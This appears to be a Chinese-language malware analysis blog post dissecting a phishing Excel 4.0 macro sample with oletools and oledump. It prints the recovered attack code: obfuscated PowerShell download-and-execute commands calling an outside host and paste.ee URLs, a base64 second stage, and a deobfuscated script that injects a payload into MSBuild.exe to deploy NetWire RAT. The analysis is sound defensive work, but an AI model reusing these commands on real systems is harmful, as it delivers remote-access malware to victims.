分析钓鱼邮件搭载的Excel 4.0恶意宏
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
文章来源:OnionSec 文章作者:jishuzhain 简介 工欲善其事必先利其器,首先既然遇到的是宏病毒文件,所以本地得装好office,本文使用的环境为office2016,之后打开Excel。额,咋和平时看到的Excel表格不一样?如果不嫌麻烦ocr一下图片里显示的意思大概是说得启用宏后才能查看到图片内容,本质就是诱惑用户来启用宏,所以文档存在宏代码的话一启动就被提示需要启用宏。嘿嘿,别启用就对了。 对于宏病毒,笔者目前接(是)触(工)不(具)多(党),不过之前使用过一个Python工具oletools。如果是Python2.7环境则安装命令为:pip install oletools。 装好后,利用oletools工具里的mraptor(macrorapter)查看是否可疑,如下显示可疑文件。 如果使用olevba提取恶意宏会解析失败,如下。 如果之前没有过多接触宏病毒,到这里肯定就一头雾水。其实原因是该样本没有存在VBA宏,而是被检测到了Excel 4.0宏(这个技术存在的时间比我年龄还大,真的),属性设置为隐藏。 关于Excel 4.0宏暂时不过多介绍了,因为参考链接里介绍的很详细了,有兴趣就直接看文末的链接,没有兴趣直接看笔者接下来的操作。不过虽然不能手工提取恶意代码,但是取巧也可以通过沙箱获取执行的命令,如下。 第一阶段命令,如下。 powershell -command IEX (new`-OB`jeCT('Net.WebClient')).'DoWnloAdsTrInG'('ht'+'tp://putin-malwrhunterteams.com/scan.txt'); 第二阶段命令scan.txt内容如下,会使用IEX命令当做脚本内容执行。 PowERsHELl.`ExE -ExecutionPolicy bypass -w 1 /e RgB1AG4AYwB0AGkAbwBuACAAWgBoAFoAZwB7ACAAcABhAHIAYQBtACgAJAB4AEkAeABmAG0AVABGAEwASAB2AFEAUgBOACAALAAgACQARwBQAHQARQBsAHQASwBTAGwAUwBCAEkARAB3AEEAcgBPAHAAaAByAGgARgB5AGcAeAB4ACAALAAgACQAcQBmAGoAeQBkAHoAbwBSAHgAUgBnAFAAQQBEAGUAWABmAGQAZABQAEoASwBRAGgAYQB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KwAgACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwBkAGwATwBNAHoAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAawAuAEgAYQBjAGsAaQB0AHUAcABdADoAOgBlAHgAZQAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA= | &('I'+'EX') 如何取消隐藏属性? 该样本是无法通过右键来取消隐藏的,因为首先文档里不显示宏工作表,想右键取消会发现没有选项,但是这里可以使用oledump这个工具辅助一下,使用的命令如下: oledump_V0_0_50>oledump.py -p plugin_biff.py --pluginoptions "-o BOUNDSHEET -a" C:UsersonionDesktopDokumentation.xlsDokumentation.xls 得到位置序列:51 AA 02 00 01,0x00表示不隐藏,0x01表示隐藏,0x02表示深度隐藏。 直接手工修改十六进制,如下。 当保存后重新打开会出现宏工作表,不过宏代码目前是无法显示的,因为字体设置为白色了,也是为了对抗分析,增加迷惑性。 我们可以选中后更改字体颜色,让宏代码显示出来。 如何手工提取宏代码? 由于字体显示空白,可将其复制,之后再新建XLM 4.0宏表,粘贴至另外的宏工作表,然后全选中,接着修改文字颜色,就可以查看了。咦,出现了明显的PowerShell脚本痕迹。 最后整理一下,完整代码如下。 =RETURN() p://putin-malwrhunterteams.com/scan.txt');exit =EXEC("powershell -command " & "IEX (new`-OB`jeCT('Net.WebClient')).'DoWnloAdsTrInG'('ht'+'t" & A9588) 拿到响应内容,如下。 PowERsHELl.`ExE -ExecutionPolicy bypass -w 1 /e RgB1AG4AYwB0AGkAbwBuACAAWgBoAFoAZwB7ACAAcABhAHIAYQBtACgAJAB4AEkAeABmAG0AVABGAEwASAB2AFEAUgBOACAALAAgACQARwBQAHQARQBsAHQASwBTAGwAUwBCAEkARAB3AEEAcgBPAHAAaAByAGgARgB5AGcAeAB4ACAALAAgACQAcQBmAGoAeQBkAHoAbwBSAHgAUgBnAFAAQQBEAGUAWABmAGQAZABQAEoASwBRAGgAYQBrAF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gACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwBkAGwATwBNAHoAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAawAuAEgAYQBjAGsAaQB0AHUAcABdADoAOgBlAHgAZQAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA= | &('I'+'EX') 进一步解码得到,解混淆后的PowerShell脚本内容。 仔细阅读脚本内容后,发现前面是垃圾代码与增加延时,最后是通过调用CallByName下载下一阶段内容执行。 地址//paste.ee/r/e49u0,//paste.ee/r/dlOMz。 文字版如下: Function ZhZg{ param($xIxfmTFLHvQRN , $GPtEltKSlSBIDwArOphrhFygxx , $qfjydzoRxRgPADeXfddPJKQhakVwARMHovTnCTXIPf) $DiSCThogPCXterQgFZbEkrVLGUAeHqzAD = 'tSyJnGHnXzweeXOWUIycCLNHwyhKY'; $CWpvyyivlUxxUVObqdPlWq = 'bfi'; $rMoZw = 'yxapiZPoYWefF'; $rsVIEumCLUOQPuqjwvAiVYomHDAxyTXwZrMy = 'gVBbwlGbSJVxoajeWVTDiBAupDrwRqXhsrQZy'; $YmiLoue = 'Jt'; $RCWtvJeVHmstJJbloFxJJgQwgVWMGQpuyH = 'oB'; } $ximErUgtYCNIquMkflmZMZmROrwyvCInjA = 'OXEovQnx'; If ('zxZuiObPBcbXwUpzYi' -eq 'VtaYqmxMbwrJZcRSRRBPgatlHYkSCOoXhobbYZjHkB') { $SK = 'CveCYiWSRvzoQRCfK'; $HTbkAqtrhuff = 'bbpVpoApGBPWfbjIRFFqnLq'; $SunIhAcnlVYNbwNrJXASMNVPJiQoaomPkxDu = 'sI'; $YclKCW = 'UsNgQKXeEZYyyknMwiIcdtSrROvt'; $cKMnBvwMIWFMTyVbtKVlPobutDbZWOB = 'dubOMKwpqAoLDP'; $vwPYEaIUoi = 'txTXptVqiYWHOiNf'; } $PzQqetgcHqxoVanfuRyVTKvqMglYpApquOEpSaP = 'nuiCX'; DO{ $ZbtSLTmpNgYbknzltwSwgGbBQHGdk = 'APUbBdKGSdURaa'; $gJTVMTXjxBSzrCDMJFygIGIlW = 'ndobOgBYkxnHXvdgXZidSDP'; $LMbtUZAhzlgtuVnm = 'TSGZBhDCcjiDsIjOXQCEIEKwFIlPjlBmvfzlIsJeYr'; $qSeGdxeXFkipPHJTswnSrhwHNJxFeGYgQMTeb = 'ISF'; $wBNpjezYQikY = 'JV'; $sTzYtyMBZDnerqnVNdku = 'XZTGFqqvsLKIFJoSgUyoLQgqVhauOKWYbcUugSn'; $Nyi= $Nyi + 1;} While ($Nyi -ne 6) While ($WGgrdVmg -ne 6) { $DgJmFiHtclYPvgholhcoulNhqSFkoNzutuLdNmVuNBD = 'OsaZyCsoJsFRTcvncXEPleWBVEbyL'; $WGgrdVmg= $WGgrdVmg + 1;$atifTxrflmVLkAptKkriRqwowjWZD = 'atcbRLjnJxvxlSuatVLctrHdRkwtjjbSbrLbiJj'; $WGgrdVmg= $WGgrdVmg + 1;$JWbtmTEetVqAObAjmzJgPpDZWd = 'tHSrkmhSWPNqxfRzOtb'; $WGgrdVmg= $WGgrdVmg + 1;$zrbp = 'zCOUTBXJyLXbdFOhJdUYIMAyqpgvZV'; $WGgrdVmg= $WGgrdVmg + 1;$fdI = 'jTyDNqgyUuYknMWqNHQanBQdeUbjcIs'; $WGgrdVmg= $WGgrdVmg + 1;$VVfOLaGhcNfEREtiDfoYNhxhCUZtOxWMCbPRhIenA = 'yZVMMabtgwTTknYxLrANTerTCpocBv'; $WGgrdVmg= $WGgrdVmg + 1;} Function ovqrmSkyxRPOmuQyQcrskoQGLPaHTLvqRAVFOBl{ param($BXe , $XLqHzRVQZsirctjxmmnPTiCKWlzrlv , $vFEAmUkBvxOSbTyLi , $yOOkOPoJgkNSdfdZ , $lYsxcCkrSFQbqYZQZngEKqoLdozocTioB , $MnqVVMdswKYhpMnCDswVcvjgToDw , $yWcZKLlaERUbSu , $nvymAZQqrgERDJBhJhdynwIfBB , $zacuKAFsYqQwpigksFtiQDkL) $fxsRRWGLdjAatTJAfkgXs = 'elVYxmYLjPrTMnvzopJPejLVx'; $qVZeVOfCSGvsYTmRAkjZHVEgvrNdyvZAbzvDmEudoJ = 'pDwQpcNjamXqVQtjdA'; $EXg = 'RYXievqGlxAPczaYAlLyNEJantVQcmFxIHfsRuin'; $fmsUBQkDcBTLhhMPxvlaadysDGUTiGF = 'YOiR'; $FlclMAkllbaScU = 'wMJCnARvvQUVvQmSzvzsJJpNdOGReuBGmGGMFfePoqg'; $seoVyIaXcbqnWwZZtz = 'BOOjpKaNTQjEScV'; $yZlTWTedKQSpJGFWoZf = 'dvzKYu'; $GtXXLBa = 'zHguhklZZrlENKNPtwPsDZb'; $bNXkmsHnifFPHfyUrWaSmpswgHeOmiXaglSTNBm = 'kxWiExHNyuAhzIImUbDfOtBAHfiW'; $eHqkuioTKriA = 'QrhqaXdgzmxGRrw'; $aZPlATnJxFZTSJjVfyc = 'SRFKtgeVs'; $crrxkSTOPwEYsVyJNqCcbSOnD = 'UEsUoSRU'; $ibVYRCQjfEuYjMjSoSQBJcDtc = 'OWuImGYsPhsRkZLjjjJjkrJCAzATSFXbwTnupXSnAr'; $BZXiqpatUksNXMsInGFZJJRUQmQuLRVjtuHccQJds = 'DrDGQhwPehu'; } $nrICREYghDOJUcFP = 'WwchxGaQKVjxwmoobHPUazFELez'; Function jHfOVmAuARmkqIAxMGHkUVbA{ param($ulnbhkIkSjplhlGipjlRZUsVp , $EXrXVTHxWYiHQMeDWrRemosWOcshCZtSmlfltuOW , $kPiAhSYnWyADLIPeUItaZuwfP , $ehtJcdvBCZKWgJTugbs , $adPGZlVvDpSCl , $oruMWWIKGqUy) $FWGQWZmbJloYbxPkRn = 'HcfNIMtjMNHOfetPQueesAI'; $XLYlJrAChBsrZIxEdpZNCXIuhhzp = 'JhHTyqwnIaUMEgdlCpIwZBCaufzDeEbsKO'; $TlYbRBQUPFBxqeIfsqsNI = 'hYTrtIEybCqJKAdOrvJgnUthJY'; $YjBRAPoEzIZIHQQdzGh = 'IBezxEcrMeliUmfPak'; } $reg = ('{2}{0}{1}{3}'-f'dSt','rin', `D`o`wn`l`oa ,'g'); [void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic'); $fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object `N`e`T`.`W`e`B`C`l`i`e`N`T ),$reg,[Microsoft.VisualBasic.CallType]::Method,'htt'+[Char]80+'' + [Char]58 + '//paste.ee/r/e49u0').Replace("@@", "44").Replace("!", "78")|IEX; [Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object `N`e`T`.`W`e`B`C`l`i`e`N`T ),$reg,[Microsoft.VisualBasic.CallType]::Method,'htt'+[Char]80+'s' + [Char]58 + '//paste.ee/r/dlOMz').replace('$','0x')|IEX; [k.Hackitup]::exe('MSBuild.exe',$f) 下载到第一个经解码后的文件,不过是已经经过处理得到的dll文件。 实际名称为Hackitup,如下可大致判断出后续会进行进程注入,结合上述的解码脚本内容,可发现注入的进程为MSBuild.exe。 下载到第二个文件,简单分析为NetWire RAT远控木马。 C2肯定已经失效了,但是也贴一下吧。 参考链接 https://www.virustotal.com/gui/file/67fd76d01ab06d4e9890b8a18625436fa92a6d0779a3fe111ca13fcd1fe68cb2/details https://app.any.run/tasks/b37be5b0-1460-4dd1-992e-72ec74cec8fe/ https://app.any.run/tasks/25084eac-2823-4887-8f90-42623b01c2ae/ https://app.any.run/tasks/0ddc9dc1-0ff9-43c7-b456-35a296998809/ https://www.freebuf.com/articles/others-articles/236919.html Old school: evil Excel 4.0 macros (XLM) 从一个野外 office 样本分析中学习 Excel 4.0 marco https://www.jianshu.com/p/d2bab95ec62c